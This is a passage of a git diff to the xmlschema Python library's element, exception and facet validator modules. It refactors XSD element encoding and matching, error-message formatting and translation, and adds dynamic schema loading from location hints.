converter.element_encode(obj, self, level) + except (ValueError, TypeError) as err: + yield self.validation_error(validation, err, obj, **kwargs) + return + + if self.abstract: + if self.name == element_data.tag and converter.losslessly: + reason = _("can't use an abstract element in an instance") + yield self.validation_error(validation, reason, obj, **kwargs) + elif self.name not in self.maps.substitution_groups: + reason = _("can't use an abstract XSD element for validation " + "unless it's the head of a substitution group") + yield self.validation_error(validation, reason, obj, **kwargs) + else: + for xsd_element in self.iter_substitutes(): + if element_data.tag == xsd_element.name: + yield from xsd_element.iter_encode(obj, validation, **kwargs) + return + else: + # In some cases the original tag could be missed, so try each + # substitute before generate an error. + for xsd_element in self.iter_substitutes(): + for result in xsd_element.iter_encode(obj, validation, **kwargs): + if not isinstance(result, XMLSchemaValidationError): + yield result + return + else: + reason = _("can't use an abstract XSD element for validation") + yield self.validation_error(validation, reason, obj, **kwargs) + + if 'max_depth' in kwargs and kwargs['max_depth'] == 0 and not level: + for e in errors: + yield self.validation_error(validation, e, **kwargs) + return text = None children = element_data.content attributes = () xsd_type = self.get_type(element_data) - if XSI_TYPE in element_data.attributes: + if XSI_TYPE in element_data.attributes and self.schema.meta_schema is not None: type_name = element_data.attributes[XSI_TYPE].strip() try: xsd_type = self.maps.get_instance_type(type_name, xsd_type, converter) @@ -938,7 +1015,7 @@ def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ if default_namespace and not isinstance(xsd_type, XsdSimpleType): # Adjust attributes mapped into default namespace - ns_part = '{%s}' % default_namespace + ns_part = f'{{{default_namespace}}}' for k in list(element_data.attributes): if not k.startswith(ns_part): continue @@ -951,7 +1028,6 @@ def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ del element_data.attributes[k] attribute_group = self.get_attributes(xsd_type) - result: Any for result in attribute_group.iter_encode(element_data.attributes, validation, **kwargs): if isinstance(result, XMLSchemaValidationError): errors.append(result) @@ -962,13 +1038,13 @@ def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ xsi_nil = element_data.attributes[XSI_NIL].strip() if not self.nillable: errors.append("element is not nillable.") - elif xsi_nil not in {'0', '1', 'true', 'false'}: + elif xsi_nil not in ('0', '1', 'true', 'false'): errors.append("xsi:nil attribute must has a boolean value.") elif xsi_nil in ('0', 'false'): pass elif self.fixed is not None: errors.append("xsi:nil='true' but the element has a fixed value.") - elif element_data.text is not None or element_data.content: + elif element_data.text not in (None, '') or element_data.content: errors.append("xsi:nil='true' but the element is not empty.") else: elem = converter.etree_element(element_data.tag, attrib=attributes, level=level) @@ -990,7 +1066,7 @@ def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ elif self.fixed is not None: text = self.fixed - elif self.default is not None and kwargs.get('use_defaults'): + elif self.default is not None and kwargs.get('use_defaults', True): text = self.default elif xsd_type.has_simple_content(): @@ -1004,7 +1080,7 @@ def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ elif self.fixed is not None: text = self.fixed - elif self.default is not None and kwargs.get('use_defaults'): + elif self.default is not None and kwargs.get('use_defaults', True): text = self.default else: @@ -1027,29 +1103,23 @@ def is_matching(self, name: Optional[str], default_namespace: Optional[str] = No if not name: return False elif default_namespace and name[0] != '{': - qname = '{%s}%s' % (default_namespace, name) - if name == self.name or qname == self.name: - return True - return any(name == e.name or qname == e.name for e in self.iter_substitutes()) - elif name == self.name: - return True - else: - return any(name == e.name for e in self.iter_substitutes()) + name = f'{{{default_namespace}}}{name}' + + # Workaround for backward compatibility of XPath selectors on schemas. + if not self.qualified and default_namespace == self.target_namespace: + return (name == self.qualified_name or + any(name == e.qualified_name for e in self.iter_substitutes())) + + return name == self.name or any(name == e.name for e in self.iter_substitutes()) def match(self, name: Optional[str], default_namespace: Optional[str] = None, **kwargs: Any) -> Optional['XsdElement']: if not name: return None elif default_namespace and name[0] != '{': - qname = '{%s}%s' % (default_namespace, name) - if name == self.name or qname == self.name: - return self - - for xsd_element in self.iter_substitutes(): - if name == xsd_element.name or qname == xsd_element.name: - return xsd_element + name = f'{{{default_namespace}}}{name}' - elif name == self.name: + if name == self.name: return self else: for xsd_element in self.iter_substitutes(): @@ -1057,6 +1127,22 @@ def match(self, name: Optional[str], default_namespace: Optional[str] = None, return xsd_element return None + def match_child(self, name: str) -> Optional['XsdElement']: + xsd_group = self.type.model_group + if xsd_group is None: + # fallback to xs:anyType encoder for matching extra content + xsd_group = self.any_type.model_group + assert xsd_group is not None + + for xsd_child in xsd_group.iter_elements(): + matched_element = xsd_child.match(name, resolve=True) + if isinstance(matched_element, XsdElement): + return matched_element + else: + if name in self.maps.elements and xsd_group.open_content_mode != 'none': + return self.maps.lookup_element(name) + return None + def is_restriction(self, other: ModelParticleType, check_occurs: bool = True) -> bool: e: ModelParticleType @@ -1072,8 +1158,8 @@ def is_restriction(self, other: ModelParticleType, check_occurs: bool = True) -> other.min_occurs != other.max_occurs and \ self.max_occurs != 0 and not other.abstract \ and self.xsd_version == '1.0': - # An UPA violation case. Base is the head element, it's not - # abstract and has non deterministic occurs: this is less + # A UPA violation case. Base is the head element, it's not + # abstract and has non-deterministic occurs: this is less # restrictive than W3C test group (elemZ026), marked as # invalid despite it's based on an abstract declaration. # See also test case invalid_restrictions1.xsd. @@ -1087,6 +1173,8 @@ def is_restriction(self, other: ModelParticleType, check_occurs: bool = True) -> if check_occurs and not self.has_occurs_restriction(other): return False + elif self.max_occurs == 0 and check_occurs: + return True # type is not effective if the element can't have occurrences elif not self.is_consistent(other) and self.type.elem is not other.type.elem and \ not self.type.is_derived(other.type, 'restriction') and not other.type.abstract: return False @@ -1165,9 +1253,6 @@ def is_single(self) -> bool: else: return self.parent.model != 'choice' and len(self.parent) > 1 - def is_empty(self) -> bool: - return self.fixed == '' or self.type.is_empty() - class Xsd11Element(XsdElement): """ @@ -1228,7 +1313,8 @@ def _parse_alternatives(self) -> None: if child.tag == XSD_ALTERNATIVE: alternatives.append(XsdAlternative(child, self.schema, self)) if not has_test: - self.parse_error("test attribute missing on non-final alternative") + msg = _("test attribute missing in non-final alternative") + self.parse_error(msg) has_test = 'test' in child.attrib if alternatives: @@ -1237,7 +1323,7 @@ def _parse_alternatives(self) -> None: @property def built(self) -> bool: return (self.type.parent is None or self.type.built) and \ - all(c.built for c in self.identities.values()) and \ + all(c.built for c in self.identities) and \ all(a.built for a in self.alternatives) @property @@ -1252,12 +1338,12 @@ def target_namespace(self) -> str: def iter_components(self, xsd_classes: ComponentClassType = None) -> Iterator[XsdComponent]: if xsd_classes is None: yield self - yield from self.identities.values() + yield from self.identities else: if isinstance(self, xsd_classes): yield self - for obj in self.identities.values(): + for obj in self.identities: if isinstance(obj, xsd_classes): yield obj @@ -1286,12 +1372,12 @@ def get_type(self, elem: Union[ElementType, ElementData], if value is not None: attrib[k] = value - elem = etree_element(elem.tag, attrib=attrib) + elem = Element(elem.tag, attrib=attrib) else: - elem = etree_element(elem.tag) + elem = Element(elem.tag) if inherited: - dummy = etree_element('_dummy_element', attrib=inherited) + dummy = Element('_dummy_element', attrib=inherited) dummy.attrib.update(elem.attrib) for alt in self.alternatives: @@ -1352,10 +1438,53 @@ def is_consistent(self, other: SchemaElementType, strict: bool = True) -> bool: elif e1.type is not e2.type or \ not all(any(a == x for x in e2.alternatives) for a in e1.alternatives) or \ not all(any(a == x for x in e1.alternatives) for a in e2.alternatives): - msg = "Maybe a not equivalent type table between elements %r and %r." % (e1, e2) - warnings.warn(msg, XMLSchemaTypeTableWarning, stacklevel=3) + msg = _("Maybe a not equivalent type table between elements {0!r} and {1!r}") + warnings.warn(msg.format(e1, e2), XMLSchemaTypeTableWarning, stacklevel=3) return True + def check_dynamic_context(self, elem: ElementType, + validation: str, + options: Dict[str, Any]) -> Iterator[XMLSchemaValidationError]: + try: + source = options['source'] + except KeyError: + return + + for ns, url in etree_iter_location_hints(elem): + base_url = source.base_url + url = normalize_url(url, base_url) + if any(url == schema.url for schema in self.maps.iter_schemas()): + continue + + try: + if ns in self.maps.namespaces: + schema = self.maps.namespaces[ns][0] + schema.include_schema(url) + schema.clear() + schema.build() + else: + schema = self.schema + schema.import_schema(ns, url, base_url, build=True) + + def stop_validation(e: ElementType, _xsd_element: XsdElement) -> bool: + if e is elem: + raise XMLSchemaStopValidation() + return False + + errors = list(schema.iter_errors(source, validation_hook=stop_validation)) + if len(options['errors']) != len(errors) or \ + any(e1.elem is not e2.elem for e1, e2 in zip(options['errors'], errors)): + reason = _(f"adding schema at {url} change the " + f"assessment outcome of previous items") + yield self.validation_error(validation, reason, elem, **options) + + except (XMLSchemaValidationError, ParseError) as err: + yield self.validation_error(validation, err, elem, **options) + except XMLSchemaParseError as err: + yield self.validation_error(validation, err.message, elem, **options) + except OSError: + continue + class XsdAlternative(XsdComponent): """ @@ -1377,7 +1506,7 @@ class XsdAlternative(XsdComponent): _ADMITTED_TAGS = {XSD_ALTERNATIVE} def __init__(self, elem: ElementType, schema: SchemaType, parent: XsdElement) -> None: - super(XsdAlternative, self).__init__(elem, schema, parent) + super().__init__(elem, schema, parent) def __repr__(self) -> str: return '%s(type=%r, test=%r)' % ( @@ -1428,7 +1557,7 @@ def _parse(self) -> None: else: child = self._parse_child_component(self.elem, strict=False) if child is None or child.tag not in (XSD_COMPLEX_TYPE, XSD_SIMPLE_TYPE): - self.parse_error("missing 'type' attribute") + self.parse_error(_("missing 'type' attribute")) self.type = self.any_type elif child.tag == XSD_COMPLEX_TYPE: self.type = self.schema.xsd_complex_type_class(child, self.schema, self) @@ -1436,23 +1565,24 @@ def _parse(self) -> None: self.type = self.schema.simple_type_factory(child, self.schema, self) if not self.type.is_derived(self.parent.type): - msg = "declared type is not derived from {!r}" + msg = _("declared type is not derived from {!r}") self.parse_error(msg.format(self.parent.type)) else: try: self.type = self.maps.lookup_type(type_qname) except KeyError: - self.parse_error("unknown type %r" % attrib['type']) + self.parse_error(_("unknown type {!r}").format(attrib['type'])) self.type = self.any_type else: if self.type.name != XSD_ERROR and not self.type.is_derived(self.parent.type): - msg = "type {!r} is not derived from {!r}" + msg = _("type {0!r} is not derived from {1!r}") self.parse_error(msg.format(attrib['type'], self.parent.type)) child = self._parse_child_component(self.elem, strict=False) if child is not None and child.tag in (XSD_COMPLEX_TYPE, XSD_SIMPLE_TYPE): - self.parse_error("the attribute 'type' and the <%s> local declaration " - "are mutually exclusive" % child.tag.split('}')[-1]) + msg = _("the attribute 'type' and the xs:%s local " + "declaration are mutually exclusive") + self.parse_error(msg % child.tag.split('}')[-1]) @property def built(self) -> bool: diff --git a/xmlschema/validators/exceptions.py b/xmlschema/validators/exceptions.py index b7cda27..c1d7a5e 100644 --- a/xmlschema/validators/exceptions.py +++ b/xmlschema/validators/exceptions.py @@ -7,14 +7,19 @@ # # @author Davide Brunato <brunato@sissa.it> # +import textwrap +from pprint import PrettyPrinter from typing import TYPE_CHECKING, Any, Optional, cast, Iterable, Union, Callable + +from elementpath.etree import etree_tostring + from ..exceptions import XMLSchemaException, XMLSchemaWarning, XMLSchemaValueError -from ..etree import etree_tostring from ..aliases import ElementType, NamespacesType, SchemaElementType, ModelParticleType from ..helpers import get_prefixed_qname, etree_getpath, is_etree_element +from ..translation import gettext as _ +from ..resources import XMLResource if TYPE_CHECKING: - from ..resources import XMLResource from .xsdbase import XsdValidator from .groups import XsdGroup @@ -28,15 +33,19 @@ class XMLSchemaValidatorError(XMLSchemaException): :param validator: the XSD validator. :param message: the error message. :param elem: the element that contains the error. - :param source: the XML resource that contains the error. + :param source: the XML resource or the decoded data that contains the error. :param namespaces: is an optional mapping from namespace prefix to URI. """ _path: Optional[str] + # Optional dump of the execution stack that can be set in collected + # validator errors for debugging purposes. + stack_trace: Optional[str] = None + def __init__(self, validator: ValidatorType, message: str, elem: Optional[ElementType] = None, - source: Optional['XMLResource'] = None, + source: Optional[Any] = None, namespaces: Optional[NamespacesType] = None) -> None: self._path = None self.validator = validator @@ -46,21 +55,23 @@ def __init__(self, validator: ValidatorType, self.elem = elem def __str__(self) -> str: - if self.elem is None: - return self.message - - msg = ['%s:\n' % self.message] - elem_as_string = cast(str, etree_tostring(self.elem, self.namespaces, ' ', 20)) - msg.append("Schema:\n\n%s\n" % elem_as_string) + chunks = ['%s:\n' % self.message] + if self.elem is not None: + elem_as_string = cast( + str, etree_tostring(self.elem, self.namespaces, ' ', 20) + ) + chunks.append("Schema component:\n\n%s\n" % elem_as_string) path = self.path if path is not None: - msg.append("Path: %s\n" % path) + chunks.append("Path: %s\n" % path) + if self.schema_url is not None: - msg.append("Schema URL: %s\n" % self.schema_url) + chunks.append("Schema URL: %s\n" % self.schema_url) if self.origin_url not in (None, self.schema_url): - msg.append("Origin URL: %s\n" % self.origin_url) - return '\n'.join(msg) + chunks.append("Origin URL: %s\n" % self.origin_url) + + return '\n'.join(chunks) if len(chunks) > 1 else chunks[0][:-2] @property def msg(self) -> str: @@ -72,7 +83,7 @@ def __setattr__(self, name: str, value: Any) -> None: raise XMLSchemaValueError( "'elem' attribute requires an Element, not %r." % type(value) ) - if self.source is not None: + if isinstance(self.source, XMLResource): self._path = etree_getpath( elem=value, root=self.source.root, @@ -82,7 +93,7 @@ def __setattr__(self, name: str, value: Any) -> None: ) if self.source.is_lazy(): value = None # Don't save the element of a lazy resource - super(XMLSchemaValidatorError, self).__setattr__(name, value) + super().__setattr__(name, value) @property def sourceline(self) -> Any: @@ -92,9 +103,9 @@ def sourceline(self) -> Any: @property def root(self) -> Optional[ElementType]: """The XML resource root element if *source* is set.""" - try: - return self.source.root # type: ignore[union-attr] - except AttributeError: + if isinstance(self.source, XMLResource): + return self.source.root + else: return None @property @@ -104,7 +115,7 @@ def schema_url(self) -> Optional[str]: try: url = self.validator.schema.source.url # type: ignore[union-attr] except AttributeError: - return None + return getattr(self.validator, 'url', None) # it's the schema else: return url @@ -122,7 +133,7 @@ def origin_url(self) -> Optional[str]: @property def path(self) -> Optional[str]: """The XPath of the element, if it's not `None` and the XML resource is set.""" - if self.elem is None or self.source is None: + if self.elem is None or not isinstance(self.source, XMLResource): return self._path return etree_getpath( @@ -133,6 +144,19 @@ def path(self) -> Optional[str]: add_position=True ) + def get_elem_as_string(self, indent: str = '', max_lines: Optional[int] = None) -> str: + """Returns a string representation of elem attribute.""" + kwargs = { + 'elem': self.elem, + 'namespaces': self.namespaces, + 'indent': indent, + 'max_lines': max_lines + } + try: + return cast(str, etree_tostring(**kwargs)) # type: ignore[arg-type] + except (ValueError, TypeError): + return indent + repr(self.elem) + class XMLSchemaNotBuiltError(XMLSchemaValidatorError, RuntimeError): """ @@ -142,7 +166,7 @@ class XMLSchemaNotBuiltError(XMLSchemaValidatorError, RuntimeError): :param message: the error message. """ def __init__(self, validator: 'XsdValidator', message: str) -> None: - super(XMLSchemaNotBuiltError, self).__init__( + super().__init__( validator=validator, message=message, elem=getattr(validator, 'elem', None), @@ -161,7 +185,7 @@ class XMLSchemaParseError(XMLSchemaValidatorError, SyntaxError): # type: ignore """ def __init__(self, validator: 'XsdValidator', message: str, elem: Optional[ElementType] = None) -> None: - super(XMLSchemaParseError, self).__init__( + super().__init__( validator=validator, message=message, elem=elem if elem is not None else getattr(validator, 'elem', None), @@ -178,7 +202,7 @@ class XMLSchemaModelError(XMLSchemaValidatorError, ValueError): :param message: the error message. """ def __init__(self, group: 'XsdGroup', message: str) -> None: - super(XMLSchemaModelError, self).__init__( + super().__init__( validator=group, message=message, elem=getattr(group, 'elem', None), @@ -190,8 +214,8 @@ def __init__(self, group: 'XsdGroup', message: str) -> None: class XMLSchemaModelDepthError(XMLSchemaModelError): """Raised when recursion depth is exceeded while iterating a model group.""" def __init__(self, group: 'XsdGroup') -> None: - msg = "maximum model recursion depth exceeded while iterating {!r}".format(group) - super(XMLSchemaModelDepthError, self).__init__(group, message=msg) + msg = f"maximum model recursion depth exceeded while iterating {group!r}" + super().__init__(group, message=msg) class XMLSchemaValidationError(XMLSchemaValidatorError, ValueError): @@ -211,16 +235,20 @@ def __init__(self, validator: ValidatorType, obj: Any, reason: Optional[str] = None, - source: Optional['XMLResource'] = None, + source: Optional[Any] = None, namespaces: Optional[NamespacesType] = None) -> None: - if not isinstance(obj, str): - _obj = obj + + if isinstance(obj, str): + obj_repr = repr(obj.encode('ascii', 'xmlcharrefreplace').decode('utf-8')) else: - _obj = obj.encode('ascii', 'xmlcharrefreplace').decode('utf-8') + obj_repr = repr(obj) + + if len(obj_repr) > 200: + obj_repr = f"{type(obj)} instance" - super(XMLSchemaValidationError, self).__init__( + super().__init__( validator=validator, - message="failed validating {!r} with {!r}".format(_obj, validator), + message=f"failed validating {obj_repr} with {validator!r}", elem=obj if is_etree_element(obj) else None, source=source, namespaces=namespaces, @@ -232,34 +260,51 @@ def __repr__(self) -> str: return '%s(reason=%r)' % (self.__class__.__name__, self.reason) def __str__(self) -> str: - msg = ['%s:\n' % self.message] + chunks = ['%s:\n' % self.message] if self.reason is not None: - msg.append('Reason: %s\n' % self.reason) + chunks.append('Reason: %s\n' % self.reason) if hasattr(self.validator, 'tostring'): - chunk = self.validator.tostring(' ', 20) # type: ignore[union-attr] - msg.append("Schema:\n\n%s\n" % chunk) - - if self.elem is not None and is_etree_element(self.elem): - try: - elem_as_string = cast(str, etree_tostring(self.elem, self.namespaces, ' ', 20)) - except (ValueError, TypeError): # pragma: no cover - elem_as_string = repr(self.elem) # pragma: no cover - - if hasattr(self.elem, 'sourceline'): - line = getattr(self.elem, 'sourceline') - msg.append("Instance (line %r):\n\n%s\n" % (line, elem_as_string)) - else: - msg.append("Instance:\n\n%s\n" % elem_as_string) + component_as_string = self.validator.tostring(' ', 20) + chunks.append("Schema component:\n\n%s\n" % component_as_string) + + if is_etree_element(self.elem): + chunks.append(f"Instance type: {type(self.elem)}\n") + instance_as_string = self.get_elem_as_string(indent=' ', max_lines=20) + else: + chunks.append(f"Instance type: {type(self.obj)}\n") + instance_as_string = self.get_obj_as_string(indent=' ', max_lines=20) + + if hasattr(self.elem, 'sourceline'): + line = getattr(self.elem, 'sourceline') + chunks.append(f"Instance (line {line!r}):\n\n{instance_as_string}\n") + else: + chunks.append(f"Instance:\n\n{instance_as_string}\n") if self.path is not None: - msg.append("Path: %s\n" % self.path) + chunks.append("Path: %s\n" % self.path) + + return '\n'.join(chunks) if len(chunks) > 1 else chunks[0][:-2] + + def get_obj_as_string(self, indent: str = '', max_lines: Optional[int] = None) -> str: + """ + Return a string representation of obj attribute, with optional indentation + and an optional limit on lines. + """ + if is_etree_element(self.obj): + return self.get_elem_as_string(indent, max_lines) + + pp = PrettyPrinter(indent=2, depth=6) + obj_as_string = pp.pformat(self.obj) + if indent: + obj_as_string = textwrap.indent(obj_as_string, prefix=indent) - if len(msg) == 1: - return msg[0][:-2] + if max_lines and len(obj_as_string.splitlines()) > max_lines: + obj_as_string = '\n'.join(obj_as_string.splitlines()[:max_lines - 3]) + obj_as_string += f'\n\n{indent}...\n{indent}...' - return '\n'.join(msg) + return obj_as_string class XMLSchemaDecodeError(XMLSchemaValidationError): @@ -279,9 +324,9 @@ def __init__(self, validator: Union['XsdValidator', Callable[[Any], None]], obj: Any, decoder: Any, reason: Optional[str] = None, - source: Optional['XMLResource'] = None, + source: Optional[Any] = None, namespaces: Optional[NamespacesType] = None) -> None: - super(XMLSchemaDecodeError, self).__init__(validator, obj, reason, source, namespaces) + super().__init__(validator, obj, reason, source, namespaces) self.decoder = decoder @@ -302,9 +347,9 @@ def __init__(self, validator: Union['XsdValidator', Callable[[Any], None]], obj: Any, encoder: Any, reason: Optional[str] = None, - source: Optional['XMLResource'] = None, + source: Optional[Any] = None, namespaces: Optional[NamespacesType] = None) -> None: - super(XMLSchemaEncodeError, self).__init__(validator, obj, reason, source, namespaces) + super().__init__(validator, obj, reason, source, namespaces) self.encoder = encoder @@ -321,13 +366,16 @@ class XMLSchemaChildrenValidationError(XMLSchemaValidationError): :param source: the XML resource that contains the error. :param namespaces: is an optional mapping from namespace prefix to URI. """ + invalid_tag: Optional[str] + """The tag of the invalid child element, `None` in case of an incomplete content.""" + def __init__(self, validator: 'XsdValidator', elem: ElementType, index: int, particle: ModelParticleType, occurs: int = 0, expected: Optional[Iterable[SchemaElementType]] = None, - source: Optional['XMLResource'] = None, + source: Optional[Any] = None, namespaces: Optional[NamespacesType] = None) -> None: self.index = index @@ -335,18 +383,20 @@ def __init__(self, validator: 'XsdValidator', self.occurs = occurs self.expected = expected - tag = get_prefixed_qname(elem.tag, validator.namespaces, use_empty=False) if index >= len(elem): - reason = "The content of element %r is not complete." % tag + self.invalid_tag = None + tag = get_prefixed_qname(elem.tag, validator.namespaces, use_empty=False) + reason = _("The content of element %r is not complete.") % tag else: - child_tag = get_prefixed_qname(elem[index].tag, validator.namespaces, use_empty=False) - reason = "Unexpected child with tag %r at position %d." % (child_tag, index + 1) + self.invalid_tag = elem[index].tag + tag = get_prefixed_qname(self.invalid_tag, validator.namespaces, use_empty=False) + reason = _("Unexpected child with tag %r at position %d.") % (tag, index + 1) - if occurs and particle.is_missing(occurs): + if occurs and particle.min_occurs > occurs: reason += " The particle %r occurs %d times but the minimum is %d." % ( particle, occurs, particle.min_occurs ) - elif particle.is_over(occurs): + elif particle.max_occurs is not None and particle.max_occurs < occurs: reason += " The particle %r occurs %r times but the maximum is %r." % ( particle, occurs, particle.max_occurs ) @@ -356,7 +406,7 @@ def __init__(self, validator: 'XsdValidator', else: expected_tags = [] for xsd_element in expected: - name = xsd_element.prefixed_name + name = xsd_element.display_name if name is not None: expected_tags.append(name) elif getattr(xsd_element, 'process_contents', '') == 'strict': @@ -367,14 +417,28 @@ def __init__(self, validator: 'XsdValidator', if not expected_tags: pass elif len(expected_tags) > 1: - reason += " Tag (%s) expected." % ' | '.join(repr(tag) for tag in expected_tags) + reason += _(" Tag (%s) expected.") % ' | '.join(repr(tag) for tag in expected_tags) elif expected_tags[0].startswith('from '): - reason += " Tag %s expected." % expected_tags[0] + reason += _(" Tag %s expected.") % expected_tags[0] else: - reason += " Tag %r expected." % expected_tags[0] + reason += _(" Tag %r expected.") % expected_tags[0] + + super().__init__(validator, elem, reason, source, namespaces) + + @property + def invalid_child(self) -> Optional[ElementType]: + """ + The invalid child element, if any, `None` otherwise. It's `None` in case of + incomplete content or if the parent has been cleared during lazy validation. + """ + try: + return self.elem[self.index] if self.elem is not None else None + except IndexError: + return None # in case of incomplete content or lazy trees + - super(XMLSchemaChildrenValidationError, self).\ - __init__(validator, elem, reason, source, namespaces) +class XMLSchemaStopValidation(XMLSchemaException): + """Stops the validation process.""" class XMLSchemaIncludeWarning(XMLSchemaWarning): @@ -387,3 +451,7 @@ class XMLSchemaImportWarning(XMLSchemaWarning): class XMLSchemaTypeTableWarning(XMLSchemaWarning): """Not equivalent type table found in model.""" + + +class XMLSchemaAssertPathWarning(XMLSchemaWarning): + """An improper XPath expression found in XSD 1.1 assertion.""" diff --git a/xmlschema/validators/facets.py b/xmlschema/validators/facets.py index 2d6f3ed..14fa968 100644 --- a/xmlschema/validators/facets.py +++ b/xmlschema/validators/facets.py @@ -14,19 +14,23 @@ import math import operator from abc import abstractmethod -from typing import TYPE_CHECKING, cast, Any, List, Optional, Pattern, Union, \ - MutableSequence, overload, Tuple -from elementpath import XPath2Parser, XPathContext, ElementPathError, \ - translate_pattern, RegexError +from typing import TYPE_CHECKING, cast, overload, Any, Dict, List, \ + MutableSequence, Optional, Pattern, Union, Tuple, Type +from xml.etree.ElementTree import Element + +from elementpath import XPathContext, ElementPathError, \ + translate_pattern, RegexError, ElementNode +from elementpath.datatypes import AnyAtomicType from ..names import XSD_LENGTH, XSD_MIN_LENGTH, XSD_MAX_LENGTH, XSD_ENUMERATION, \ XSD_INTEGER, XSD_WHITE_SPACE, XSD_PATTERN, XSD_MAX_INCLUSIVE, XSD_MAX_EXCLUSIVE, \ XSD_MIN_INCLUSIVE, XSD_MIN_EXCLUSIVE, XSD_TOTAL_DIGITS, XSD_FRACTION_DIGITS, \ XSD_ASSERTION, XSD_DECIMAL, XSD_EXPLICIT_TIMEZONE, XSD_NOTATION_TYPE, XSD_QNAME, \ XSD_ANNOTATION -from ..etree import etree_element from ..aliases import ElementType, SchemaType, AtomicValueType, BaseXsdType +from ..translation import gettext as _ from ..helpers import count_digits, local_name +from ..xpath import XsdAssertionXPathParser from .exceptions import XMLSchemaValidationError, XMLSchemaDecodeError from .xsdbase import XsdComponent, XsdAnnotation @@ -50,7 +54,8 @@ def __init__(self, elem: ElementType, parent: Union['XsdList', 'XsdAtomicRestriction'], base_type: Optional[BaseXsdType]) -> None: self.base_type = base_type - super(XsdFacet, self).__init__(elem, schema, parent) + self._validator = self._skip_validation + super().__init__(elem, schema, parent) def __repr__(self) -> str: return '%s(value=%r, fixed=%r)' % (self.__class__.__name__, self.value, self.fixed) @@ -59,11 +64,10 @@ def __call__(self, value: Any) -> None: try: self._validator(value) except TypeError: - reason = "invalid type {!r} provided".format(type(value)) + reason = _("invalid type {!r} provided").format(type(value)) raise XMLSchemaValidationError(self, value, reason) from None - @staticmethod - def _validator(_: Any) -> None: + def _skip_validation(self, value: Any) -> None: return def _parse(self) -> None: @@ -80,8 +84,8 @@ def _parse(self) -> None: else: if base_facet is not None and base_facet.fixed and \ base_facet.value is not None and self.value != base_facet.value: - self.parse_error("{!r} facet value is fixed to {!r}" - .format(local_name(self.elem.tag), base_facet.value)) + msg = _("{0!r} facet value is fixed to {1!r}") + self.parse_error(msg.format(local_name(self.elem.tag), base_facet.value)) def _parse_value(self, elem: ElementType) -> Union[None, AtomicValueType, Pattern[str]]: self.value = elem.attrib['value'] # pragma: no cover @@ -98,16 +102,16 @@ def base_facet(self) -> Optional['XsdFacet']: """ base_type: Optional[BaseXsdType] = self.base_type tag = self.elem.tag - while True: - if base_type is None: - return None + while base_type is not None: try: base_facet = base_type.facets[tag] # type: ignore[union-attr] except (AttributeError, KeyError): base_type = base_type.base_type else: - assert isinstance(base_facet, self.__class__) + assert isinstance(base_facet, XsdFacet) return base_facet + else: + return None class XsdWhiteSpaceFacet(XsdFacet): @@ -128,26 +132,26 @@ class XsdWhiteSpaceFacet(XsdFacet): def _parse_value(self, elem: ElementType) -> None: self.value = elem.attrib['value'] if self.value == 'collapse': - self._validator = self.collapse_white_space_validator # type: ignore[assignment] + self._validator = self.collapse_white_space_validator elif self.value == 'replace': if self.base_value == 'collapse': - self.parse_error("facet value can be only 'collapse'") - self._validator = self.replace_white_space_validator # type: ignore[assignment] + self.parse_error(_("facet value can be only 'collapse'")) + self._validator = self.replace_white_space_validator elif self.base_value == 'collapse': - self.parse_error("facet value can be only 'collapse'") + self.parse_error(_("facet value can be only 'collapse'")) elif self.base_value == 'replace': - self.parse_error("facet value can be only 'replace' or 'collapse'") + self.parse_error(_("facet value can be only 'replace' or 'collapse'")) def replace_white_space_validator(self, value: str) -> None: if '\t' in value or '\n' in value: raise XMLSchemaValidationError( - self, value, "value contains tabs or newlines" + self, value, _("value contains tabs or newlines") ) def collapse_white_space_validator(self, value: str) -> None: if '\t' in value or '\n' in value or ' ' in value: raise XMLSchemaValidationError( - self, value, "value contains non collapsed white spaces" + self, value, _("value contains non collapsed white spaces") ) @@ -171,16 +175,17 @@ class XsdLengthFacet(XsdFacet): def _parse_value(self, elem: ElementType) -> None: self.value = int(elem.attrib['value']) if self.base_value is not None and self.value != self.base_value: - self.parse_error("base facet has a different length ({})".format(self.base_value)) + msg = _("base facet has a different length ({})") + self.parse_error(msg.format(self.base_value)) primitive_type = getattr(self.base_type, 'primitive_type', None) if primitive_type is None or primitive_type.name not in {XSD_QNAME, XSD_NOTATION_TYPE}: # See: https://www.w3.org/Bugs/Public/show_bug.cgi?id=4009 - self._validator = self._length_validator # type: ignore[assignment] + self._validator = self.length_validator - def _length_validator(self, value: Any) -> None: + def length_validator(self, value: Any) -> None: if len(value) != self.value: - reason = "length has to be {!r}".format(self.value) + reason = _("length has to be {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) @@ -204,16 +209,17 @@ class XsdMinLengthFacet(XsdFacet): def _parse_value(self, elem: ElementType) -> None: self.value = int(elem.attrib['value']) if self.base_value is not None and self.value < self.base_value: - self.parse_error("base facet has a greater min length ({})".format(self.base_value)) + msg = _("base facet has a greater min length ({})") + self.parse_error(msg.format(self.base_value)) primitive_type = getattr(self.base_type, 'primitive_type', None) if primitive_type is None or primitive_type.name not in {XSD_QNAME, XSD_NOTATION_TYPE}: # See: https://www.w3.org/Bugs/Public/show_bug.cgi?id=4009 - self._validator = self._min_length_validator # type: ignore[assignment] + self._validator = self.min_length_validator - def _min_length_validator(self, value: Any) -> None: + def min_length_validator(self, value: Any) -> None: if len(value) < self.value: - reason = "value length cannot be lesser than {!r}".format(self.value) + reason = _("value length cannot be lesser than {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) @@ -237,16 +243,17 @@ class XsdMaxLengthFacet(XsdFacet): def _parse_value(self, elem: ElementType) -> None: self.value = int(elem.attrib['value']) if self.base_value is not None and self.value > self.base_value: - self.parse_error("base type has a lesser max length ({})".format(self.base_value)) + msg = _("base type has a lesser max length ({})") + self.parse_error(msg.format(self.base_value)) primitive_type = getattr(self.base_type, 'primitive_type', None) if primitive_type is None or primitive_type.name not in {XSD_QNAME, XSD_NOTATION_TYPE}: # See: https://www.w3.org/Bugs/Public/show_bug.cgi?id=4009 - self._validator = self._max_length_validator # type: ignore[assignment] + self._validator = self.max_length_validator - def _max_length_validator(self, value: Any) -> None: + def max_length_validator(self, value: Any) -> None: if len(value) > self.value: - reason = "value length cannot be greater than {!r}".format(self.value) + reason = _("value length cannot be greater than {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) @@ -269,12 +276,12 @@ def _parse_value(self, elem: ElementType) -> None: value = 